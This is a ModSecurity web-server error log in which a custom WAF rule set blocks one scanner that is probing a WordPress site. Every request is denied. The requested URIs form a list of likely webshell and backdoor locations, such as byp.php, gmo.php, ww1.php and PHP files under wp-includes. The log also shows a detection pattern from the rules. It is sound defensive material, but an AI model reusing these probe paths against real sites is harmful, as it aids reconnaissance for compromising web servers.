[Mon Dec 22 21:42:24.799996 2025] [:error] [pid 58172:tid 58180] [client 4.230.34.85:6021] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aUlKwOSVKDT5jWOcnSUDogAAAMY"]
[Mon Dec 22 21:42:25.189388 2025] [:error] [pid 33564:tid 33586] [client 4.230.34.85:11795] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aUlKwQSHeG6oLmMnKY7UpQAAAhM"]
[Mon Dec 22 21:42:25.545477 2025] [:error] [pid 56044:tid 56063] [client 4.230.34.85:6057] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aUlKwe60uUaieriJqP15OAAAAI8"]
[Mon Dec 22 21:42:25.917652 2025] [:error] [pid 33440:tid 33450] [client 4.230.34.85:6128] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aUlKwZOsUWKqgxu6QTRAdQAAAQg"]
[Mon Dec 22 21:42:26.218857 2025] [:error] [pid 56044:tid 56058] [client 4.230.34.85:6097] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aUlKwu60uUaieriJqP15OwAAAIo"]
[Mon Dec 22 21:42:26.528169 2025] [:error] [pid 33440:tid 33454] [client 4.230.34.85:5980] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aUlKwpOsUWKqgxu6QTRAdwAAAQw"]
[Mon Dec 22 21:42:26.933867 2025] [:error] [pid 58078:tid 58097] [client 4.230.34.85:11783] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aUlKwpWKg9Bf8njHlB5eFQAAAA4"]
[Mon Dec 22 21:42:27.280192 2025] [:error] [pid 33471:tid 33484] [client 4.230.34.85:6052] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aUlKw75BeNE7regJ7ixVhwAAAUo"]
[Mon Dec 22 21:42:27.714712 2025] [:error] [pid 33471:tid 33477] [client 4.230.34.85:6112] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aUlKw75BeNE7regJ7ixViAAAAUM"]
[Mon Dec 22 21:42:28.127835 2025] [:error] [pid 33472:tid 33505] [client 4.230.34.85:6136] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUlKxJ5p2WQpPIK8HAk_8wAAAYQ"]
[Mon Dec 22 21:42:28.464246 2025] [:error] [pid 33471:tid 33493] [client 4.230.34.85:11834] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUlKxL5BeNE7regJ7ixViQAAAVM"]
[Mon Dec 22 21:42:28.766649 2025] [:error] [pid 56080:tid 56147] [client 4.230.34.85:6070] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUlKxJIHT3YJq9hjDc70DAAAAxc"]
[Mon Dec 22 21:42:29.090620 2025] [:error] [pid 33471:tid 33490] [client 4.230.34.85:6038] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aUlKxb5BeNE7regJ7ixViwAAAVA"]
[Mon Dec 22 21:42:29.437724 2025] [:error] [pid 33471:tid 33495] [client 4.230.34.85:6096] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUlKxb5BeNE7regJ7ixVjAAAAVU"]
[Mon Dec 22 21:42:29.765674 2025] [:error] [pid 56080:tid 56144] [client 4.230.34.85:6032] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUlKxZIHT3YJq9hjDc70DgAAAxQ"]
[Mon Dec 22 21:42:30.074115 2025] [:error] [pid 56155:tid 56225] [client 4.230.34.85:6047] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUlKxmG8a3wQucsuN67_RQAAA4M"]
[Mon Dec 22 21:42:30.401521 2025] [:error] [pid 33535:tid 33543] [client 4.230.34.85:5956] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUlKxmOCI8D9Xtn-n7TPDQAAAcY"]
[Mon Dec 22 21:42:30.721878 2025] [:error] [pid 56044:tid 56062] [client 4.230.34.85:6025] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUlKxu60uUaieriJqP15PQAAAI4"]
[Mon Dec 22 21:42:31.028201 2025] [:error] [pid 58172:tid 58188] [client 4.230.34.85:6067] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUlKx-SVKDT5jWOcnSUDpwAAAM4"]
[Mon Dec 22 21:42:31.396088 2025] [:error] [pid 58172:tid 58193] [client 4.230.34.85:6125] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUlKx-SVKDT5jWOcnSUDqAAAANM"]
[Mon Dec 22 21:42:31.739911 2025] [:error] [pid 56155:tid 56235] [client 4.230.34.85:11823] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUlKx2G8a3wQucsuN67_RwAAA40"]
[Mon Dec 22 21:42:32.042201 2025] [:error] [pid 33535:tid 33541] [client 4.230.34.85:5993] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUlKyGOCI8D9Xtn-n7TPDwAAAcQ"]
[Mon Dec 22 21:42:32.345650 2025] [:error] [pid 33535:tid 33553] [client 4.230.34.85:6133] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/index.php"] [unique_id "aUlKyGOCI8D9Xtn-n7TPEAAAAdA"]
[Mon Dec 22 21:42:32.710193 2025] [:error] [pid 33440:tid 33451] [client 4.230.34.85:6053] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/index.php"] [unique_id "aUlKyJOsUWKqgxu6QTRAewAAAQk"]
[Mon Dec 22 21:42:32.992043 2025] [:error] [pid 33535:tid 33544] [client 4.230.34.85:6062] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/index.php"] [unique_id "aUlKyGOCI8D9Xtn-n7TPEQAAAcc"]
[Mon Dec 22 21:42:33.279964 2025] [:error] [pid 33440:tid 33458] [client 4.230.34.85:5973] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aUlKyZOsUWKqgxu6QTRAfAAAARA"]
[Mon Dec 22 21:42:33.559991 2025] [:error] [pid 33471:tid 33492] [client 4.230.34.85:11861] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aUlKyb5BeNE7regJ7ixVkgAAAVI"]
[Mon Dec 22 21:42:33.842713 2025] [:error] [pid 58078:tid 58098] [client 4.230.34.85:6036] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aUlKyZWKg9Bf8njHlB5eHwAAAA8"]
[Mon Dec 22 21:42:34.127922 2025] [:error] [pid 33440:tid 33462] [client 4.230.34.85:11824] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aUlKypOsUWKqgxu6QTRAfgAAARQ"]
[Mon Dec 22 21:42:34.475455 2025] [:error] [pid 58172:tid 58190] [client 4.230.34.85:6118] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aUlKyuSVKDT5jWOcnSUDrAAAANA"]
[Mon Dec 22 21:42:34.853094 2025] [:error] [pid 56080:tid 56125] [client 4.230.34.85:5988] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aUlKypIHT3YJq9hjDc70EAAAAwE"]
[Mon Dec 22 21:42:35.306402 2025] [:error] [pid 58172:tid 58179] [client 4.230.34.85:5958] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aUlKy-SVKDT5jWOcnSUDrgAAAMU"]
[Mon Dec 22 21:42:35.612878 2025] [:error] [pid 56080:tid 56124] [client 4.230.34.85:6048] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aUlKy5IHT3YJq9hjDc70EQAAAwA"]
[Mon Dec 22 21:42:35.929535 2025] [:error] [pid 33535:tid 33551] [client 4.230.34.85:6099] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUlKy2OCI8D9Xtn-n7TPEwAAAc4"]
[Mon Dec 22 21:42:36.229826 2025] [:error] [pid 58078:tid 58100] [client 4.230.34.85:5968] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUlKzJWKg9Bf8njHlB5eJAAAABE"]
[Mon Dec 22 21:42:36.517670 2025] [:error] [pid 33440:tid 33463] [client 4.230.34.85:6073] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUlKzJOsUWKqgxu6QTRAgAAAARU"]
[Mon Dec 22 21:42:36.860829 2025] [:error] [pid 33471:tid 33484] [client 4.230.34.85:6055] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUlKzL5BeNE7regJ7ixVlAAAAUo"]
[Mon Dec 22 21:42:37.150767 2025] [:error] [pid 33564:tid 33576] [client 4.230.34.85:5957] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aUlKzQSHeG6oLmMnKY7UrwAAAgk"]
[Mon Dec 22 21:42:37.449848 2025] [:error] [pid 33564:tid 33574] [client 4.230.34.85:6131] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUlKzQSHeG6oLmMnKY7UsQAAAgc"]
[Mon Dec 22 21:42:37.754965 2025] [:error] [pid 33472:tid 33510] [client 4.230.34.85:6044] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUlKzZ5p2WQpPIK8HAk_9wAAAYk"]
[Mon Dec 22 21:42:38.040477 2025] [:error] [pid 33440:tid 33447] [client 4.230.34.85:11891] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUlKzpOsUWKqgxu6QTRAgwAAAQU"]
[Mon Dec 22 21:42:38.346296 2025] [:error] [pid 58078:tid 58091] [client 4.230.34.85:6085] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUlKzpWKg9Bf8njHlB5eKQAAAAg"]
[Mon Dec 22 21:42:38.703524 2025] [:error] [pid 58078:tid 58085] [client 4.230.34.85:6079] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUlKzpWKg9Bf8njHlB5eKgAAAAI"]
[Mon Dec 22 21:42:39.097873 2025] [:error] [pid 58078:tid 58106] [client 4.230.34.85:6011] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUlKz5WKg9Bf8njHlB5eLAAAABc"]
[Mon Dec 22 21:42:39.465596 2025] [:error] [pid 33564:tid 33575] [client 4.230.34.85:6056] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUlKzwSHeG6oLmMnKY7UtQAAAgg"]
[Mon Dec 22 21:42:39.821563 2025] [:error] [pid 58078:tid 58090] [client 4.230.34.85:11903] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aUlKz5WKg9Bf8njHlB5eLwAAAAc"]
[Mon Dec 22 21:42:40.201634 2025] [:error] [pid 58078:tid 58096] [client 4.230.34.85:6117] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aUlK0JWKg9Bf8njHlB5eMQAAAA0"]
[Mon Dec 22 21:42:40.534283 2025] [:error] [pid 33471:tid 33474] [client 4.230.34.85:6077] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww1.php"] [unique_id "aUlK0L5BeNE7regJ7ixVmAAAAUA"]
[Mon Dec 22 21:42:40.891898 2025] [:error] [pid 33535:tid 33549] [client 4.230.34.85:5998] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww1.php"] [unique_id "aUlK0GOCI8D9Xtn-n7TPGAAAAcw"]
[Mon Dec 22 21:42:41.294715 2025] [:error] [pid 33440:tid 33442] [client 4.230.34.85:6001] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ww1.php"] [unique_id "aUlK0ZOsUWKqgxu6QTRAhQAAAQA"]
[Mon Dec 22 21:42:41.694198 2025] [:error] [pid 33471:tid 33475] [client 4.230.34.85:6027] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aUlK0b5BeNE7regJ7ixVmQAAAUE"]
[Mon Dec 22 21:42:42.028041 2025] [:error] [pid 56044:tid 56071] [client 4.230.34.85:6061] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aUlK0u60uUaieriJqP15QgAAAJc"]
[Mon Dec 22 21:42:42.385072 2025] [:error] [pid 33471:tid 33480] [client 4.230.34.85:6091] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aUlK0r5BeNE7regJ7ixVmwAAAUY"]
[Mon Dec 22 21:42:42.735846 2025] [:error] [pid 56155:tid 56224] [client 4.230.34.85:6035] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/about/function.php"] [unique_id "aUlK0mG8a3wQucsuN67_SgAAA4I"]
[Mon Dec 22 21:42:43.084531 2025] [:error] [pid 56155:tid 56233] [client 4.230.34.85:5896] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aUlK02G8a3wQucsuN67_TAAAA4s"]
